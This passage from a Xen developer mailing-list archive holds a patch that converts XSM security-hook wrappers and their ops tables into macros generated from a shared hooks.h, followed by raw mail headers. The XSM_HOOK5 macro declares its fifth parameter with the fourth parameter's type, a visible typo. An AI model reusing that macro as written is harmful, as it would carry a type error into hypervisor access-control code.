+    XSM_ALT_ ## rtype(xsm_ops.name, arg1); \
 }
 
-static inline int xsm_set_target(
-    xsm_default_t def, struct domain *d, struct domain *e)
-{
-    return alternative_call(xsm_ops.set_target, d, e);
+#define XSM_HOOK2(rtype, name, type1, type2) \
+static inline rtype xsm_ ## name( \
+    xsm_default_t def, type1 arg1, type2 arg2) \
+{ \
+    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2); \
 }
 
-static inline int xsm_domctl(xsm_default_t def, struct domain *d,
-                             struct xen_domctl *op)
-{
-    return alternative_call(xsm_ops.domctl, d, op);
+#define XSM_HOOK3(rtype, name, type1, type2, type3) \
+static inline rtype xsm_ ## name( \
+    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3) \
+{ \
+    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3); \
 }
 
-#ifdef CONFIG_SYSCTL
-static inline int xsm_sysctl(xsm_default_t def, const struct xen_sysctl *op)
-{
-    return alternative_call(xsm_ops.sysctl, op);
+#define XSM_HOOK4(rtype, name, type1, type2, type3, type4) \
+static inline rtype xsm_ ## name( \
+    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
+{ \
+    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3, arg4); \
 }
-#endif
 
-static inline int xsm_evtchn_unbound(
-    xsm_default_t def, struct domain *d1, struct evtchn *chn, domid_t id2)
-{
-    return alternative_call(xsm_ops.evtchn_unbound, d1, chn, id2);
+#define XSM_HOOK5(rtype, name, type1, type2, type3, type4, type5) \
+static inline rtype xsm_ ## name( \
+    xsm_default_t def, type1 arg1, type2 arg2, type3 arg3, type4 arg4, \
+    type4 arg5) \
+{ \
+    XSM_ALT_ ## rtype(xsm_ops.name, arg1, arg2, arg3, arg4, arg5); \
 }
 
-static inline int xsm_evtchn_interdomain(
-    xsm_default_t def, struct domain *d1, struct evtchn *chan1,
-    struct domain *d2, struct evtchn *chan2)
-{
-    return alternative_call(xsm_ops.evtchn_interdomain, d1, chan1, d2, chan2);
-}
+#include "hooks.h"
 
 static inline void xsm_evtchn_close_post(struct evtchn *chn)
 {
     alternative_vcall(xsm_ops.evtchn_close_post, chn);
 }
 
-static inline int xsm_evtchn_send(
-    xsm_default_t def, struct domain *d, struct evtchn *chn)
-{
-    return alternative_call(xsm_ops.evtchn_send, d, chn);
-}
-
-static inline int xsm_evtchn_status(
-    xsm_default_t def, struct domain *d, struct evtchn *chn)
-{
-    return alternative_call(xsm_ops.evtchn_status, d, chn);
-}
-
-static inline int xsm_evtchn_reset(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.evtchn_reset, d1, d2);
-}
-
-static inline int xsm_grant_mapref(
-    xsm_default_t def, struct domain *d1, struct domain *d2, uint32_t flags)
-{
-    return alternative_call(xsm_ops.grant_mapref, d1, d2, flags);
-}
-
-static inline int xsm_grant_unmapref(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.grant_unmapref, d1, d2);
-}
-
-static inline int xsm_grant_setup(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.grant_setup, d1, d2);
-}
-
-static inline int xsm_grant_transfer(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.grant_transfer, d1, d2);
-}
-
-static inline int xsm_grant_copy(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.grant_copy, d1, d2);
-}
-
-static inline int xsm_grant_query_size(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.grant_query_size, d1, d2);
-}
-
 static inline int xsm_alloc_security_domain(struct domain *d)
 {
     return alternative_call(xsm_ops.alloc_security_domain, d);
@@ -341,193 +196,11 @@ static inline char *xsm_show_security_ev
     return alternative_call(xsm_ops.show_security_evtchn, d, chn);
 }
 
-static inline int xsm_init_hardware_domain(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.init_hardware_domain, d);
-}
-
-static inline int xsm_get_pod_target(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.get_pod_target, d);
-}
-
-static inline int xsm_set_pod_target(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.set_pod_target, d);
-}
-
-static inline int xsm_memory_exchange(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.memory_exchange, d);
-}
-
-static inline int xsm_memory_adjust_reservation(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.memory_adjust_reservation, d1, d2);
-}
-
-static inline int xsm_memory_stat_reservation(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.memory_stat_reservation, d1, d2);
-}
-
-static inline int xsm_memory_pin_page(
-    xsm_default_t def, struct domain *d1, struct domain *d2,
-    struct page_info *page)
-{
-    return alternative_call(xsm_ops.memory_pin_page, d1, d2, page);
-}
-
-static inline int xsm_add_to_physmap(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.add_to_physmap, d1, d2);
-}
-
-static inline int xsm_remove_from_physmap(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.remove_from_physmap, d1, d2);
-}
-
-static inline int xsm_map_gmfn_foreign(
-    xsm_default_t def, struct domain *d, struct domain *t)
-{
-    return alternative_call(xsm_ops.map_gmfn_foreign, d, t);
-}
-
-static inline int xsm_claim_pages(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.claim_pages, d);
-}
-
-static inline int xsm_console_io(xsm_default_t def, struct domain *d, int cmd)
-{
-    return alternative_call(xsm_ops.console_io, d, cmd);
-}
-
-static inline int xsm_kexec(xsm_default_t def)
-{
-    return alternative_call(xsm_ops.kexec);
-}
-
-static inline int xsm_schedop_shutdown(
-    xsm_default_t def, struct domain *d1, struct domain *d2)
-{
-    return alternative_call(xsm_ops.schedop_shutdown, d1, d2);
-}
-
 static inline char *xsm_show_irq_sid(int irq)
 {
     return alternative_call(xsm_ops.show_irq_sid, irq);
 }
 
-static inline int xsm_map_domain_pirq(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.map_domain_pirq, d);
-}
-
-static inline int xsm_map_domain_irq(
-    xsm_default_t def, struct domain *d, int irq, void *data)
-{
-    return alternative_call(xsm_ops.map_domain_irq, d, irq, data);
-}
-
-static inline int xsm_unmap_domain_pirq(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.unmap_domain_pirq, d);
-}
-
-static inline int xsm_unmap_domain_irq(
-    xsm_default_t def, struct domain *d, int irq, void *data)
-{
-    return alternative_call(xsm_ops.unmap_domain_irq, d, irq, data);
-}
-
-static inline int xsm_bind_pt_irq(
-    xsm_default_t def, struct domain *d, struct xen_domctl_bind_pt_irq *bind)
-{
-    return alternative_call(xsm_ops.bind_pt_irq, d, bind);
-}
-
-static inline int xsm_unbind_pt_irq(
-    xsm_default_t def, struct domain *d, struct xen_domctl_bind_pt_irq *bind)
-{
-    return alternative_call(xsm_ops.unbind_pt_irq, d, bind);
-}
-
-static inline int xsm_irq_permission(
-    xsm_default_t def, struct domain *d, int pirq, uint8_t allow)
-{
-    return alternative_call(xsm_ops.irq_permission, d, pirq, allow);
-}
-
-static inline int xsm_iomem_permission(
-    xsm_default_t def, struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
-{
-    return alternative_call(xsm_ops.iomem_permission, d, s, e, allow);
-}
-
-static inline int xsm_iomem_mapping(
-    xsm_default_t def, struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
-{
-    return alternative_call(xsm_ops.iomem_mapping, d, s, e, allow);
-}
-
-static inline int xsm_iomem_mapping_vpci(
-    xsm_default_t def, struct domain *d, uint64_t s, uint64_t e, uint8_t allow)
-{
-    return alternative_call(xsm_ops.iomem_mapping_vpci, d, s, e, allow);
-}
-
-static inline int xsm_pci_config_permission(
-    xsm_default_t def, struct domain *d, uint32_t machine_bdf, uint16_t start,
-    uint16_t end, uint8_t access)
-{
-    return alternative_call(xsm_ops.pci_config_permission, d, machine_bdf, start, end, access);
-}
-
-#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
-static inline int xsm_get_device_group(xsm_default_t def, uint32_t machine_bdf)
-{
-    return alternative_call(xsm_ops.get_device_group, machine_bdf);
-}
-#endif /* HAS_PASSTHROUGH && HAS_PCI) */
-
-static inline int xsm_resource_plug_pci(xsm_default_t def, uint32_t machine_bdf)
-{
-    return alternative_call(xsm_ops.resource_plug_pci, machine_bdf);
-}
-
-static inline int xsm_resource_unplug_pci(
-    xsm_default_t def, uint32_t machine_bdf)
-{
-    return alternative_call(xsm_ops.resource_unplug_pci, machine_bdf);
-}
-
-static inline int xsm_resource_setup_pci(
-    xsm_default_t def, uint32_t machine_bdf)
-{
-    return alternative_call(xsm_ops.resource_setup_pci, machine_bdf);
-}
-
-static inline int xsm_resource_setup_gsi(xsm_default_t def, int gsi)
-{
-    return alternative_call(xsm_ops.resource_setup_gsi, gsi);
-}
-
-static inline int xsm_resource_setup_misc(xsm_default_t def)
-{
-    return alternative_call(xsm_ops.resource_setup_misc);
-}
-
-static inline int xsm_hypfs_op(xsm_default_t def)
-{
-    return alternative_call(xsm_ops.hypfs_op);
-}
-
 static inline long xsm_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
     return alternative_call(xsm_ops.do_xsm_op, op);
@@ -540,141 +213,6 @@ static inline int xsm_do_compat_op(XEN_G
 }
 #endif
 
-static inline int xsm_hvm_param(
-    xsm_default_t def, struct domain *d, unsigned long op)
-{
-    return alternative_call(xsm_ops.hvm_param, d, op);
-}
-
-static inline int xsm_hvm_param_altp2mhvm(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.hvm_param_altp2mhvm, d);
-}
-
-static inline int xsm_hvm_altp2mhvm_op(
-    xsm_default_t def, struct domain *d, uint64_t mode, uint32_t op)
-{
-    return alternative_call(xsm_ops.hvm_altp2mhvm_op, d, mode, op);
-}
-
-static inline int xsm_get_vnumainfo(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.get_vnumainfo, d);
-}
-
-#ifdef CONFIG_VM_EVENT
-static inline int xsm_mem_access(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.mem_access, d);
-}
-#endif
-
-#ifdef CONFIG_MEM_PAGING
-static inline int xsm_mem_paging(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.mem_paging, d);
-}
-#endif
-
-#ifdef CONFIG_MEM_SHARING
-static inline int xsm_mem_sharing(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.mem_sharing, d);
-}
-#endif
-
-static inline int xsm_platform_op(xsm_default_t def, uint32_t op)
-{
-    return alternative_call(xsm_ops.platform_op, op);
-}
-
-#ifdef CONFIG_X86
-static inline int xsm_do_mca(xsm_default_t def)
-{
-    return alternative_call(xsm_ops.do_mca);
-}
-
-static inline int xsm_mem_sharing_op(
-    xsm_default_t def, struct domain *d, struct domain *cd, int op)
-{
-    return alternative_call(xsm_ops.mem_sharing_op, d, cd, op);
-}
-
-static inline int xsm_apic(xsm_default_t def, struct domain *d, int cmd)
-{
-    return alternative_call(xsm_ops.apic, d, cmd);
-}
-
-static inline int xsm_machine_memory_map(xsm_default_t def)
-{
-    return alternative_call(xsm_ops.machine_memory_map);
-}
-
-static inline int xsm_domain_memory_map(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.domain_memory_map, d);
-}
-
-static inline int xsm_mmu_update(
-    xsm_default_t def, struct domain *d, struct domain *t, struct domain *f,
-    uint32_t flags)
-{
-    return alternative_call(xsm_ops.mmu_update, d, t, f, flags);
-}
-
-static inline int xsm_mmuext_op(
-    xsm_default_t def, struct domain *d, struct domain *f)
-{
-    return alternative_call(xsm_ops.mmuext_op, d, f);
-}
-
-static inline int xsm_update_va_mapping(
-    xsm_default_t def, struct domain *d, struct domain *f, l1_pgentry_t pte)
-{
-    return alternative_call(xsm_ops.update_va_mapping, d, f, pte);
-}
-
-static inline int xsm_priv_mapping(
-    xsm_default_t def, struct domain *d, struct domain *t)
-{
-    return alternative_call(xsm_ops.priv_mapping, d, t);
-}
-
-static inline int xsm_ioport_permission(
-    xsm_default_t def, struct domain *d, uint32_t s, uint32_t e, uint8_t allow)
-{
-    return alternative_call(xsm_ops.ioport_permission, d, s, e, allow);
-}
-
-static inline int xsm_ioport_mapping(
-    xsm_default_t def, struct domain *d, uint32_t s, uint32_t e, uint8_t allow)
-{
-    return alternative_call(xsm_ops.ioport_mapping, d, s, e, allow);
-}
-
-static inline int xsm_pmu_op(
-    xsm_default_t def, struct domain *d, unsigned int op)
-{
-    return alternative_call(xsm_ops.pmu_op, d, op);
-}
-
-#endif /* CONFIG_X86 */
-
-static inline int xsm_dm_op(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.dm_op, d);
-}
-
-static inline int xsm_xen_version(xsm_default_t def, uint32_t op)
-{
-    return alternative_call(xsm_ops.xen_version, op);
-}
-
-static inline int xsm_domain_resource_map(xsm_default_t def, struct domain *d)
-{
-    return alternative_call(xsm_ops.domain_resource_map, d);
-}
-
 #ifdef CONFIG_ARGO
 static inline int xsm_argo_enable(const struct domain *d)
 {
--- a/xen/xsm/dummy.c
+++ b/xen/xsm/dummy.c
@@ -16,124 +16,37 @@
 static const struct xsm_ops __initconst_cf_clobber dummy_ops = {
     .set_system_active             = xsm_set_system_active,
     .security_domaininfo           = xsm_security_domaininfo,
-    .domain_create                 = xsm_domain_create,
-    .getdomaininfo                 = xsm_getdomaininfo,
-    .set_target                    = xsm_set_target,
-    .domctl                        = xsm_domctl,
-#ifdef CONFIG_SYSCTL
-    .sysctl                        = xsm_sysctl,
-#endif
 
-    .evtchn_unbound                = xsm_evtchn_unbound,
-    .evtchn_interdomain            = xsm_evtchn_interdomain,
+#define XSM_HOOK0(rtype, name) .name = xsm_ ## name,
+#define XSM_HOOK1(rtype, name, ...) XSM_HOOK0(rtype, name)
+#define XSM_HOOK2(rtype, name, ...) XSM_HOOK0(rtype, name)
+#define XSM_HOOK3(rtype, name, ...) XSM_HOOK0(rtype, name)
+#define XSM_HOOK4(rtype, name, ...) XSM_HOOK0(rtype, name)
+#define XSM_HOOK5(rtype, name, ...) XSM_HOOK0(rtype, name)
+
+#include <xsm/hooks.h>
+
     .evtchn_close_post             = xsm_evtchn_close_post,
-    .evtchn_send                   = xsm_evtchn_send,
-    .evtchn_status                 = xsm_evtchn_status,
-    .evtchn_reset                  = xsm_evtchn_reset,
-
-    .grant_mapref                  = xsm_grant_mapref,
-    .grant_unmapref                = xsm_grant_unmapref,
-    .grant_setup                   = xsm_grant_setup,
-    .grant_transfer                = xsm_grant_transfer,
-    .grant_copy                    = xsm_grant_copy,
-    .grant_query_size              = xsm_grant_query_size,
 
     .alloc_security_domain         = xsm_alloc_security_domain,
     .free_security_domain          = xsm_free_security_domain,
     .alloc_security_evtchns        = xsm_alloc_security_evtchns,
     .free_security_evtchns         = xsm_free_security_evtchns,
     .show_security_evtchn          = xsm_show_security_evtchn,
-    .init_hardware_domain          = xsm_init_hardware_domain,
-
-    .get_pod_target                = xsm_get_pod_target,
-    .set_pod_target                = xsm_set_pod_target,
-
-    .memory_exchange               = xsm_memory_exchange,
-    .memory_adjust_reservation     = xsm_memory_adjust_reservation,
-    .memory_stat_reservation       = xsm_memory_stat_reservation,
-    .memory_pin_page               = xsm_memory_pin_page,
-    .claim_pages                   = xsm_claim_pages,
-
-    .console_io                    = xsm_console_io,
-
-    .kexec                         = xsm_kexec,
-    .schedop_shutdown              = xsm_schedop_shutdown,
 
     .show_irq_sid                  = xsm_show_irq_sid,
-    .map_domain_pirq               = xsm_map_domain_pirq,
-    .map_domain_irq                = xsm_map_domain_irq,
-    .unmap_domain_pirq             = xsm_unmap_domain_pirq,
-    .unmap_domain_irq              = xsm_unmap_domain_irq,
-    .bind_pt_irq                   = xsm_bind_pt_irq,
-    .unbind_pt_irq                 = xsm_unbind_pt_irq,
-    .irq_permission                = xsm_irq_permission,
-    .iomem_permission              = xsm_iomem_permission,
-    .iomem_mapping                 = xsm_iomem_mapping,
-    .iomem_mapping_vpci            = xsm_iomem_mapping_vpci,
-    .pci_config_permission         = xsm_pci_config_permission,
-    .get_vnumainfo                 = xsm_get_vnumainfo,
-
-#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
-    .get_device_group              = xsm_get_device_group,
-#endif
-
-    .resource_plug_pci             = xsm_resource_plug_pci,
-    .resource_unplug_pci           = xsm_resource_unplug_pci,
-    .resource_setup_pci            = xsm_resource_setup_pci,
-    .resource_setup_gsi            = xsm_resource_setup_gsi,
-    .resource_setup_misc           = xsm_resource_setup_misc,
-
-    .hypfs_op                      = xsm_hypfs_op,
-    .hvm_param                     = xsm_hvm_param,
-    .hvm_param_altp2mhvm           = xsm_hvm_param_altp2mhvm,
-    .hvm_altp2mhvm_op              = xsm_hvm_altp2mhvm_op,
 
     .do_xsm_op                     = xsm_do_xsm_op,
 #ifdef CONFIG_COMPAT
     .do_compat_op                  = xsm_do_compat_op,
 #endif
 
-    .add_to_physmap                = xsm_add_to_physmap,
-    .remove_from_physmap           = xsm_remove_from_physmap,
-    .map_gmfn_foreign              = xsm_map_gmfn_foreign,
-
-#ifdef CONFIG_VM_EVENT
-    .mem_access                    = xsm_mem_access,
-#endif
-
-#ifdef CONFIG_MEM_PAGING
-    .mem_paging                    = xsm_mem_paging,
-#endif
-
-#ifdef CONFIG_MEM_SHARING
-    .mem_sharing                   = xsm_mem_sharing,
-#endif
-
-    .platform_op                   = xsm_platform_op,
-#ifdef CONFIG_X86
-    .do_mca                        = xsm_do_mca,
-    .mem_sharing_op                = xsm_mem_sharing_op,
-    .apic                          = xsm_apic,
-    .machine_memory_map            = xsm_machine_memory_map,
-    .domain_memory_map             = xsm_domain_memory_map,
-    .mmu_update                    = xsm_mmu_update,
-    .mmuext_op                     = xsm_mmuext_op,
-    .update_va_mapping             = xsm_update_va_mapping,
-    .priv_mapping                  = xsm_priv_mapping,
-    .ioport_permission             = xsm_ioport_permission,
-    .ioport_mapping                = xsm_ioport_mapping,
-    .pmu_op                        = xsm_pmu_op,
-#endif
-    .dm_op                         = xsm_dm_op,
-    .xen_version                   = xsm_xen_version,
-    .domain_resource_map           = xsm_domain_resource_map,
 #ifdef CONFIG_ARGO
     .argo_enable                   = xsm_argo_enable,
     .argo_register_single_source   = xsm_argo_register_single_source,
     .argo_register_any_source      = xsm_argo_register_any_source,
     .argo_send                     = xsm_argo_send,
 #endif
-    .get_domain_state              = xsm_get_domain_state,
 };
 
 void __init xsm_fixup_ops(struct xsm_ops *ops)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1215,6 +1215,7 @@ static int cf_check flask_iomem_mapping(
 {
     return flask_iomem_permission(d, start, end, access);
 }
+#define flask_iomem_mapping_vpci flask_iomem_mapping
 
 static int cf_check flask_pci_config_permission(
     struct domain *d, uint32_t machine_bdf, uint16_t start, uint16_t end,
@@ -1713,6 +1714,7 @@ static int cf_check flask_ioport_mapping
     return flask_ioport_permission(d, start, end, access);
 }
 
+#ifdef CONFIG_MEM_SHARING
 static int cf_check flask_mem_sharing_op(
     struct domain *d, struct domain *cd, int op)
 {
@@ -1721,6 +1723,7 @@ static int cf_check flask_mem_sharing_op
         return rc;
     return domain_has_perm(d, cd, SECCLASS_HVM, HVM__SHARE_MEM);
 }
+#endif
 
 static int cf_check flask_apic(struct domain *d, int cmd)
 {
@@ -1911,125 +1914,38 @@ static int cf_check flask_get_domain_sta
 static const struct xsm_ops __initconst_cf_clobber flask_ops = {
     .set_system_active = flask_set_system_active,
     .security_domaininfo = flask_security_domaininfo,
-    .domain_create = flask_domain_create,
-    .getdomaininfo = flask_getdomaininfo,
-    .set_target = flask_set_target,
-    .domctl = flask_domctl,
-#ifdef CONFIG_SYSCTL
-    .sysctl = flask_sysctl,
-#endif
 
-    .evtchn_unbound = flask_evtchn_unbound,
-    .evtchn_interdomain = flask_evtchn_interdomain,
+#define XSM_HOOK0(rtype, name) .name = flask_ ## name,
+#define XSM_HOOK1(rtype, name, ...) XSM_HOOK0(rtype, name)
+#define XSM_HOOK2(rtype, name, ...) XSM_HOOK0(rtype, name)
+#define XSM_HOOK3(rtype, name, ...) XSM_HOOK0(rtype, name)
+#define XSM_HOOK4(rtype, name, ...) XSM_HOOK0(rtype, name)
+#define XSM_HOOK5(rtype, name, ...) XSM_HOOK0(rtype, name)
+
+#include <xsm/hooks.h>
+
     .evtchn_close_post = flask_evtchn_close_post,
-    .evtchn_send = flask_evtchn_send,
-    .evtchn_status = flask_evtchn_status,
-    .evtchn_reset = flask_evtchn_reset,
-
-    .grant_mapref = flask_grant_mapref,
-    .grant_unmapref = flask_grant_unmapref,
-    .grant_setup = flask_grant_setup,
-    .grant_transfer = flask_grant_transfer,
-    .grant_copy = flask_grant_copy,
-    .grant_query_size = flask_grant_query_size,
 
     .alloc_security_domain = flask_domain_alloc_security,
     .free_security_domain = flask_domain_free_security,
     .alloc_security_evtchns = flask_alloc_security_evtchns,
     .free_security_evtchns = flask_free_security_evtchns,
     .show_security_evtchn = flask_show_security_evtchn,
-    .init_hardware_domain = flask_init_hardware_domain,
-
-    .get_pod_target = flask_get_pod_target,
-    .set_pod_target = flask_set_pod_target,
-    .memory_exchange = flask_memory_exchange,
-    .memory_adjust_reservation = flask_memory_adjust_reservation,
-    .memory_stat_reservation = flask_memory_stat_reservation,
-    .memory_pin_page = flask_memory_pin_page,
-    .claim_pages = flask_claim_pages,
-
-    .console_io = flask_console_io,
-
-    .kexec = flask_kexec,
-    .schedop_shutdown = flask_schedop_shutdown,
 
     .show_irq_sid = flask_show_irq_sid,
 
-    .map_domain_pirq = flask_map_domain_pirq,
-    .map_domain_irq = flask_map_domain_irq,
-    .unmap_domain_pirq = flask_unmap_domain_pirq,
-    .unmap_domain_irq = flask_unmap_domain_irq,
-    .bind_pt_irq = flask_bind_pt_irq,
-    .unbind_pt_irq = flask_unbind_pt_irq,
-    .irq_permission = flask_irq_permission,
-    .iomem_permission = flask_iomem_permission,
-    .iomem_mapping = flask_iomem_mapping,
-    .iomem_mapping_vpci = flask_iomem_mapping,
-    .pci_config_permission = flask_pci_config_permission,
-
-    .resource_plug_pci = flask_resource_plug_pci,
-    .resource_unplug_pci = flask_resource_unplug_pci,
-    .resource_setup_pci = flask_resource_setup_pci,
-    .resource_setup_gsi = flask_resource_setup_gsi,
-    .resource_setup_misc = flask_resource_setup_misc,
-
-    .hypfs_op = flask_hypfs_op,
-    .hvm_param = flask_hvm_param,
-    .hvm_param_altp2mhvm = flask_hvm_param_altp2mhvm,
-    .hvm_altp2mhvm_op = flask_hvm_altp2mhvm_op,
-
     .do_xsm_op = do_flask_op,
-    .get_vnumainfo = flask_get_vnumainfo,
-
-#ifdef CONFIG_VM_EVENT
-    .mem_access = flask_mem_access,
-#endif
-
-#ifdef CONFIG_MEM_PAGING
-    .mem_paging = flask_mem_paging,
-#endif
-
-#ifdef CONFIG_MEM_SHARING
-    .mem_sharing = flask_mem_sharing,
-#endif
 
 #ifdef CONFIG_COMPAT
     .do_compat_op = compat_flask_op,
 #endif
 
-    .add_to_physmap = flask_add_to_physmap,
-    .remove_from_physmap = flask_remove_from_physmap,
-    .map_gmfn_foreign = flask_map_gmfn_foreign,
-
-#if defined(CONFIG_HAS_PASSTHROUGH) && defined(CONFIG_HAS_PCI)
-    .get_device_group = flask_get_device_group,
-#endif
-
-    .platform_op = flask_platform_op,
-#ifdef CONFIG_X86
-    .do_mca = flask_do_mca,
-    .mem_sharing_op = flask_mem_sharing_op,
-    .apic = flask_apic,
-    .machine_memory_map = flask_machine_memory_map,
-    .domain_memory_map = flask_domain_memory_map,
-    .mmu_update = flask_mmu_update,
-    .mmuext_op = flask_mmuext_op,
-    .update_va_mapping = flask_update_va_mapping,
-    .priv_mapping = flask_priv_mapping,
-    .ioport_permission = flask_ioport_permission,
-    .ioport_mapping = flask_ioport_mapping,
-    .pmu_op = flask_pmu_op,
-#endif
-    .dm_op = flask_dm_op,
-    .xen_version = flask_xen_version,
-    .domain_resource_map = flask_domain_resource_map,
 #ifdef CONFIG_ARGO
     .argo_enable = flask_argo_enable,
     .argo_register_single_source = flask_argo_register_single_source,
     .argo_register_any_source = flask_argo_register_any_source,
     .argo_send = flask_argo_send,
 #endif
-    .get_domain_state = flask_get_domain_state,
 };
 
 const struct xsm_ops *__init flask_init(



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:14:09 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:14:09 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374022.1620973 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohdJ-0002j5-If; Tue, 28 Jul 2026 13:14:09 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374022.1620973; Tue, 28 Jul 2026 13:14:09 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohdJ-0002iy-G1; Tue, 28 Jul 2026 13:14:09 +0000
Received: by outflank-mailman (input) for mailman id 1374022;
 Tue, 28 Jul 2026 13:14:08 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohdI-0002h4-8d
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:14:08 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohdH-004cHG-LZ
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:14:07 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab14-e002-0a2a0a5209dd-0a2a450b8a36-16
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:14:07 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ab1e-b7e8-0a2a450b0019-d155802cc4cd-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:14:06 +0200
Received: by mail-wm1-f44.google.com with SMTP id
 5b1f17b1804b1-4954df200ddso25589545e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:14:06 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957f9b8b67sm358183325e9.4.2026.07.28.06.14.05
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:14:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244446; x=1785849246; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=k3yu0d63FvfqhO+L+MSLfqlMqJJ82QjRHS/utwxkEoc=;
        b=PnNoQIQMPAgSoEUNZDkm7lyUj154rXJJG3FWt9z35JV1Qfsb8zaZgLMF0X5AL6V0Ah
         U2yFyJv0BjzzvMSQ7S1Xx0kIdp0OOxYTvduXeIkUmvc0tKifdPQOajsggyM9K0O23wm3
         28y+YpKE90L5D7C/iBvIni6YDnRi/s1tMWB0TjM373fgxjhkIuAXJgIzUxFq3fG2EThP
         hiObWt+5ydfqrsb3lolp2GkRR8EMngf6mBtoXsrubi31O35Ihoh838Twc4SHf3V+HOsa
         dS4IyDWZZbrKUYhOEaDoMPM0N3FJpuEqk+Hc/pTm5Fiyc2Mju+pUNFRRG42biEYZrCdx
         ueJg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244446; x=1785849246;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
